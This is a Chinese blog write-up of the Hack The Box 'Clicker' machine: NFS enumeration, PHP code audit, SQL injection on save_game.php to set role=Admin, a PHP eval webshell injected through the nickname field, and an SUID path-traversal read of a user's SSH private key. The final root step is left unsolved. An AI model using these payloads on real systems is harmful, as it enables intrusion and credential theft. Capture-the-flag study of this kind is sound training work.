Clicker-htb

0x01 立足

信息收集

端口扫描

从这里大致可以知道有web服务

使用了rpcbind,是一种通信协议,允许客户端调用远程服务器上的程序或服务。

简单来说RPC绑定服务充当了一个服务目录的角色,帮助客户端定位远程RPC服务的端口,从而使客户端能够与服务器进行通信

这里所需要注意的是开启的nfs共享

NFS共享是在NFS服务器上定义的文件系统或目录,可以被客户端挂载并访问

挂载nfs共享文件

使用showmount查看共享的是哪个文件

showmount -e 10.10.11.232

将共享的文件挂载到本地机子

这里是linux的挂载方法

mkdir -m 777 123

sudo mount -t nfs <NFS服务器IP或主机名>:<共享路径> <本地挂载点>

因为我使用的是wsl所以只能在主机windows上挂载

 New-PSDrive -Name M -PSProvider FileSystem -Root "\\10.10.11.232\mnt\backups" -Persist

将需要的文件拉去下来以后就可以用以下命令将挂载的M删掉

Remove-PSDrive -Name M

这里出现一个压缩文件看起来像是网站文件备份

php代码审计

从这里可以知道访问admin.php他会验证session里的role是否等于Admin

去找login.php这里发现将传入的数据给authenticate.php文件

分析authenticate.php

从这里能知道,它包含了一个db_utils.php

这里大概就能知道这是一个写了很多于数据库交互的函数的文件

登录以后他会调用db_utils.php文件里的load_profile函数,然后将从数据库查到的数据给session

这个session不是保存在本地的,是保存在服务器上的,通过每次的sessionip去获取,所以不能直接修改cookie上传session

到这里就到找到其他的能利用到的地方了

这里每次玩儿完可保存数据,并且对数据没有任何过滤,想保存什么就保存什么

从代码上来看调用了save_profile函数

这里就是重点了

foreach ($args as $key => $value) {}

这里首先是foreach将¥args也就是get传参进去的参数给变成一个类似数组的东西,

例如name=1那么进去以后键名就是name键值就是1

$setStr .= $key . "=" . $pdo->quote($value) . ",";

.=相当于是将$key . "=" . $pdo->quote($value) . ","插入到$setStr变量的最后

最后将这些参数通过update更新参数插入到数据库中

$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);

function save_profile($player, $args) {
	global $pdo;
  	$params = ["player"=>$player];
	$setStr = "";
  	foreach ($args as $key => $value) {
    		$setStr .= $key . "=" . $pdo->quote($value) . ",";
	}
  	$setStr = rtrim($setStr, ",");  #rtrim从最右侧删除’,‘
  	$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
  	$stmt -> execute($params);
}

这里又因为会去验证是否是role所以不能直接传

/save_game.php?clicks=0&level=0&role='Admin'

尝试保存数据抓包

payload:

?clicks%3d4,role%3d'Admin',clicks=4

防包以后重新登录就能有admin的功能点了

上传webshell

这里能看到可以保存数据,尝试抓包

从这里能明显看到数据以及保存的文件后缀名,尝试写入shell

访问以后似乎并没有写入

继续分析源代码

从这里看似乎是从数据库里拿的数据然后去保存

再次利用刚才的sql注入漏洞,尝试将webshell插入到Nickname字段

payload:

&nickname=<?php+eval($_POST['a']);?>

然后再重新保存一遍

拿到shell这里我使用的是curl反弹shell

0x02 拿用户权限

首先查看passwd文件能看到有除了root用户还有jack用户有权限

上linpeas.sh收集信息

攻击机python3开http服务

加运行权限然后跑出来给1.out

然后靶机开启http服务将1.out传回来用/parsePEASS工具把他转为html文件方便查看

sudo>1.9.5不存在版本漏洞

查看suid二进制文件的时候,这里出现一个不认识suid,并且发现拥有者是jack

进入到/opt/manage目录,看到有这个程序的说明

这里说实话不知道这个有什么用

这里去看了大佬的wp才知道这个可以拿来读文件

直接拿到了jack的ssh私钥

./execute_query 5 '../.ssh/id_rsa'

这里私钥的开头结尾是不对的

修改为

开头

-----BEGIN OPENSSH PRIVATE KEY-----

结尾

-----END OPENSSH PRIVATE KEY-----

拿到用户flag

0x03 提权

sudo -l看有root权限的程序

查看此程序的源码

这里可以简单知道通过curl获取数据然后保存为xml文件然后输出数据

#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml

看了下权限只有读和执行的权限

到这里后续没思路了,希望有大佬看到能指点以下,看了wp也不太能理解

答题器 - HTB |Gabe-Writeups (gaberoy.zip)

  • 12
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
from PyQt5.QtCore import QTimer from PyQt5.QtGui import QCursor from PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QHBoxLayout, QLabel, QLineEdit, QPushButton class MouseClicker(QWidget): def init(self): super().init() # 设置窗口标题 self.setWindowTitle("鼠标连点器") # 创建UI界面 self.label_count = QLabel("点击次数:") self.edit_count = QLineEdit() self.label_interval = QLabel("间隔时间(ms):") self.edit_interval = QLineEdit() self.btn_start = QPushButton("开始") # 设置布局 layout_count = QHBoxLayout() layout_count.addWidget(self.label_count) layout_count.addWidget(self.edit_count) layout_interval = QHBoxLayout() layout_interval.addWidget(self.label_interval) layout_interval.addWidget(self.edit_interval) layout_main = QVBoxLayout() layout_main.addLayout(layout_count) layout_main.addLayout(layout_interval) layout_main.addWidget(self.btn_start) self.setLayout(layout_main) # 连接按钮的点击事件 self.btn_start.clicked.connect(self.start_clicking) # 创建计时器 self.timer = QTimer() self.timer.timeout.connect(self.click) def start_clicking(self): # 获取点击次数和间隔时间 count = int(self.edit_count.text()) interval = int(self.edit_interval.text()) # 设置计时器的时间间隔 self.timer.setInterval(interval) # 开始计时器 self.timer.start() # 禁用开始按钮 self.btn_start.setEnabled(False) # 设置光标样式为等待 QApplication.setOverrideCursor(QCursor(QtCore.Qt.WaitCursor)) # 记录已经点击的次数 self.clicked_count = 0 def click(self): # 点击鼠标左键 QCursor().pos() QCursor().setPos(100, 100) QCursor().pos() QApplication.processEvents() # 增加已经点击的次数 self.clicked_count += 1 # 如果达到设定的点击次数,停止计时器并启用开始按钮 if self.clicked_count >= int(self.edit_count.text()): self.timer.stop() self.btn_start.setEnabled(True) # 设置光标样式为默认 QApplication.restoreOverrideCursor() if name == "main": app = QApplication([]) mouse_clicker = MouseClicker() mouse_clicker.show() app.exec_() 打包为可执行文件
05-15

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

怪兽不会rap_哥哥我会crash

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值